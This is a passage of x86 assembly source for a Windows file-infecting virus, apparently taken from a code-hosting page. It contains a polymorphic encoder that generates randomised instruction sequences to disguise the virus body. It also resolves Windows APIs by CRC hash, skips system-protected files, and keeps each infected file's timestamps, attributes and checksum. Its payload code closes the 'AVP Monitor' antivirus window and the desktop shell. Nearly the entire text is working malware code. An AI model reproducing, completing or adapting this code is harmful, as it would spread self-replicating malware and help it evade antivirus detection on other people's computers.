sub ecx,edx ; dec loops
; that's needed coz we
; get edx dwords in one
; main loop
jmp doLoop
addRndCmpRegImm:
dec byte ptr [RecursiveCoef+ebp]
xor eax,eax
mov al,byte ptr [RecursiveCoef+ebp]
or al,al
jz recursiveOver
cmp ecx,eax ; check we have things
jae hasSpaceToEncode ; to encode
recursiveOver:
stc
ret
hasSpaceToEncode:
push edi ; save prt addr
mov eax,0ffffffffh ; get a random dword value
push eax
call rndInRange
push eax
call GetReg ; get random reg
pop edx
mov cl,al
push eax
call AddCmpREGIMM
pop eax
call FreeReg ; free the register
mov eax,7 ; get a random jmp
push eax
call rndInRange
add al,72h ; store the cnd jmp
stosb
mov al,5
stosb
mov al,0e9h ; setup jmp far
stosb
push edi ; save ptr addr
stosd ; save space
push esi ; save source
xor ecx,ecx
mov cl,byte ptr [RecursiveCoef+ebp] ; get # dword to encode
push ecx ; save loops
xor ebx,ebx
encodeCmpLoop0:
push ecx ebx ; save loop and size
mov eax,2 ; recursive?
push eax
call rndInRange
or al,al
jz nonRec0
mov al,byte ptr [RecursiveCoef+ebp]
or al,al
jz nonRec0
push dword ptr [RecursiveCoef+ebp]
call addRndCmpRegImm
pop dword ptr [RecursiveCoef+ebp]
jnc nonRec1
nonRec0:
call addAddSubRegImm
pop ebx ecx ; restore regs
jmp nonRec2
nonRec1:
pop ebx ecx ; restore regs
sub ecx,edx
nonRec2:
add ebx,eax ; add encoded size
loop encodeCmpLoop0
pop ecx ; get loops
pop esi ; restore source
pop edx ; get prt addr
add ebx,5
mov dword ptr [edx],ebx ; fix op1 jmp
mov eax,5 ; add DS: prefix?
push eax
call rndInRange
cmp al,3 ; 30%
jb skipDSPrefix
inc byte ptr [edx] ; a byte before jmp!
mov al,3eh ; DS: (thanx griyo!)
stosb ; nice anti-h stuff
skipDSPrefix:
mov al,0e9h ; build jmp
stosb
push edi ; save ptr addr
stosd ; save space
; we have ecx and esi ready
push ecx ; save loops again
xor ebx,ebx
encodeCmpLoop1:
push ecx ebx ; save loop and size
mov eax,2 ; recursive?
push eax
call rndInRange
or al,al
jz nonRec3
mov al,byte ptr [RecursiveCoef+ebp]
or al,al
jz nonRec3
push dword ptr [RecursiveCoef+ebp]
call addRndCmpRegImm
pop dword ptr [RecursiveCoef+ebp]
jnc nonRec4
nonRec3:
call addAddSubRegImm
pop ebx ecx ; restore regs
jmp nonRec5
nonRec4:
pop ebx ecx ; restore regs
sub ecx,edx
nonRec5:
add ebx,eax ; add encoded size
loop encodeCmpLoop1
pop ecx ; get loops
pop edx ; get ptr addr
mov dword ptr [edx],ebx ; fix op2 jmp
pop edx ; get old prt
mov eax,edi
sub eax,edx ; calc added size
mov edx,ecx ; move loops here
dec edx
clc
ret
;
; mov reg,a
; push reg
;
encRndPushReg:
push ecx ebx ; save loop and size
push edi ; save prt addr
std
lodsd ; get dword
cld
push eax ; save value
call GetReg ; get random reg
; get value
pop edx ; mov reg32,imm32
mov cl,al
push ecx
call AddMovREGIMM
pop ecx ; push reg32
push ecx
call AddPushREG
pop eax
call FreeReg ; free the register
pop edx ; get old prt
mov eax,edi
sub eax,edx ; calc added size
pop ebx ecx ; restore regs
add ebx,eax ; add encoded size
jmp doLoop
;
; add opcode:
; mov reg,a-b || mov reg,a+b
; add reg,b || add reg,-b
; push reg || push reg
; sub opcode:
; mov reg,a-b || mov reg,a+b
; add reg,b || add reg,-b
; push reg || push reg
;
; ret eax enc size
;
addAddSubRegImm:
call GetReg ; get rnd reg
mov byte ptr [WorkReg+ebp],al
mov eax,2 ; add or sub?
push eax
call rndInRange
mov bl,al
mov eax,2 ; again, add or sub?
push eax
call rndInRange
mov bh,al
mov eax,0ffffffffh ; get a random dword value
push eax
call rndInRange
push edi ; save current dest
push eax ; save rnd value
std
lodsd ; get dword
cld
mov edx,eax
pop eax ; get rnd value
or bl,bl
jz doAdd0
add edx,eax ; add dword rnd value
add edx,eax
doAdd0:
sub edx,eax ; sub dword rnd value
push eax ; store rnd value
mov cl,byte ptr [WorkReg+ebp]
call AddMovREGIMM
pop edx ; get rnd value
or bh,bh ; add or sub opcode
jz doSub0
or bl,bl ; add: add or sub?
jz doAdd1
not edx
inc edx
doAdd1:
mov cl,byte ptr [WorkReg+ebp]
call AddAddREGIMM
jmp doSub2
doSub0:
or bl,bl ; sub: add or sub?
jnz doSub1
not edx
inc edx
doSub1:
mov cl,byte ptr [WorkReg+ebp]
call AddSubREGIMM
doSub2:
mov cl,byte ptr [WorkReg+ebp]
call AddPushREG
mov al,byte ptr [WorkReg+ebp]
call FreeReg
pop edx ; get old dest
mov eax,edi
sub eax,edx ; calc bytes stored
ret
_EAX equ 0
_ECX equ 1
_EDX equ 2
_EBX equ 3
_ESP equ 4
_EBP equ 5
_ESI equ 6
_EDI equ 7
;
; returns AL: selected register
;
GetReg:
mov eax,8
push eax
call rndInRange
lea ecx,RegStatus+ebp
add ecx,eax
mov dl,byte ptr [ecx]
or dl,dl
jnz GetReg
mov byte ptr [ecx],1
ret
;
; AL: selected register to free
;
FreeReg:
and eax,7
lea ecx,RegStatus+ebp
add ecx,eax
mov byte ptr [ecx],0
ret
;
; Instruction generators
;
; EDI: Destination code
; ECX: Reg (if aplicable)
; EDX: Inm (if aplicable)
;
AddCmpREGIMM:
or cl,cl
jnz AddCmpREGIMM0
mov al,3dh
stosb
jmp AddCmpREGIMM1
AddCmpREGIMM0:
mov al,081h
stosb
mov al,0f8h
add al,cl
stosb
AddCmpREGIMM1:
mov eax,edx
stosd
ret
AddMovREGIMM:
mov al,0b8h
add al,cl
stosb
mov eax,edx
stosd
ret
AddAddREGIMM:
or cl,cl
jnz AddAddREGIMM0
mov al,05h
stosb
jmp AddAddREGIMM1
AddAddREGIMM0:
mov al,081h
stosb
mov al,0c0h
add al,cl
stosb
AddAddREGIMM1:
mov eax,edx
stosd
ret
AddSubREGIMM:
or cl,cl
jnz AddSubREGIMM0
mov al,2dh
stosb
jmp AddSubREGIMM1
AddSubREGIMM0:
mov al,081h
stosb
mov al,0e8h
add al,cl
stosb
AddSubREGIMM1:
mov eax,edx
stosd
ret
AddPushREG:
mov al,050h
add al,cl
stosb
ret
AddPopREG:
mov al,058h
add al,cl
stosb
ret
; api search data ----------------------------------------------------------
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
FSTAPI label byte
CrcCloseHandle dd 068624a9dh
db 12
_CloseHandle dd 0
CrcCreateFileA dd 08c892ddfh
db 12
_CreateFileA dd 0
CrcCreatFileMappingA dd 096b2d96ch
db 19
_CreateFileMappingA dd 0
CrcFreeLibrary dd 0afdf191fh
db 12
_FreeLibrary dd 0
CrcGetProcAddress dd 0ffc97c1fh
db 15
_GetProcAddress dd 0
CrcGetFileTime dd 04434e8feh
db 12
_GetFileTime dd 0
CrcGetFileAttributesA dd 0c633d3deh
db 19
_GetFileAttributesA dd 0
CrcGetFileSize dd 0ef7d811bh
db 12
_GetFileSize dd 0
CrcFindFirstFileA dd 0ae17ebefh
db 15
_FindFirstFileA dd 0
CrcFindNextFileA dd 0aa700106h
db 14
_FindNextFileA dd 0
CrcFindClose dd 0c200be21h
db 10
_FindClose dd 0
CrcGetCurrentDirectoryA dd 0ebc6c18bh
db 21
_GetCurrentDirectoryA dd 0
CrcGetSystemDirectoryA dd 0593ae7ceh
db 20
_GetSystemDirectoryA dd 0
CrcGetSystemTime dd 075b7ebe8h
db 14
_GetSystemTime dd 0
CrcGetWindowsDirectoryA dd 0fe248274h
db 21
_GetWindowsDirectoryA dd 0
CrcGetLastError dd 087d52c94h
db 13
_GetLastError dd 0
CrcGetTickCount dd 0613fd7bah
db 13
_GetTickCount dd 0
CrcLoadLibraryA dd 04134d1adh
db 13
_LoadLibraryA dd 0
CrcMapViewOfFile dd 0797b49ech
db 14
_MapViewOfFile dd 0
CrcSetCurrentDirectoryA dd 0b2dbd7dch
db 21
_SetCurrentDirectoryA dd 0
CrcSetFileTime dd 04b2a3e7dh
db 12
_SetFileTime dd 0
CrcSetFileAttributesA dd 03c19e536h
db 19
_SetFileAttributesA dd 0
CrcUnmapViewOfFile dd 094524b42h
db 16
_UnmapViewOfFile dd 0
CrcVirtualAlloc dd 04402890eh
db 13
_VirtualAlloc dd 0
ENDAPI label byte
; non kernel32 apis --------------------------------------------------------
imagehlpdllStr db 'IMAGEHLP.DLL',0
imagehlpdllHnd dd 0
CheckSumMappedFileStr db 'CheckSumMappedFile',0
_CheckSumMappedFile dd 0
sfcdllStr db 'SFC.DLL',0
sfcdllHnd dd 0
SfcIsFileProtectedStr db 'SfcIsFileProtected',0
_SfcIsFileProtected dd 0
user32dllStr db 'USER32.DLL',0
user32dllHnd dd 0
FindWindowAStr db 'FindWindowA',0
_FindWindowA dd 0
PostMessageAStr db 'PostMessageA',0
_PostMessageA dd 0
; misc data ----------------------------------------------------------------
; i use the same code of the payload to close avp monitor
avStr db 'AVP Monitor',0
; hu hu, just end 1 app hehehe
payloadStr db 'Program Manager',0
; infection data -----------------------------------------------------------
path0 dd 0
path1 dd 0
fileMappingObj db '1234567890',0
virusSample dd 0
fileTime0 dd 0,0
fileTime1 dd 0,0
fileTime2 dd 0,0
fileAttrib dd 0
fileSize dd 0
ofileSize dd 0
ochksum dd 0
nchksum dd 0
padding dd 0
genSize dd 0
fHnd dd 0
fhmap dd 0
mapMem dd 0
find_data WIN32_FIND_DATA <0>
findHnd dd 0
fndMask db '*.*',0
tmpExt dd 0
infCount db 0
; very important this aligment for virus encoding
align 4h
vEnd label byte
;
; Fake host needed for 1st gen
;
fakeHost:
push 1000h
call title
db 'virus activated',0
title: call mess
db 'Kelvin, welcome to Solaris.',0
mess:
push 0h
call MessageBoxA
push 0h
call ExitProcess
;
; This is another way to setup the 1st generation virus sample.
;
setupVirus:
lea esi,restoreCode ; restore original code
lea edi,vBegin
mov ecx,restoreSize
rep movsb
mov dword ptr [encKey],0 ; 1st loop key=0
pushad ; setup stack
sub esp,vSize
; we must push 2 times the same offset, no mather wich one
push offset reloc1stGen ; setup reloc stuff
push offset reloc1stGen ; setup reloc stuff
; emul jmp esp
add esp,8
jmp inicio
reloc1stGen:
; original code replazed by the jmp to setupVirus to be
; restored at its original plaze
restoreCode:
sub esp,8
mov esi,dword ptr [esp+vSize+28h]
restoreSize equ $-restoreCode
Ends
End inicio
;
; ah... who's Kelvin? fuck!
; just read the book :]
;
Reference in New Issue Copy Permalink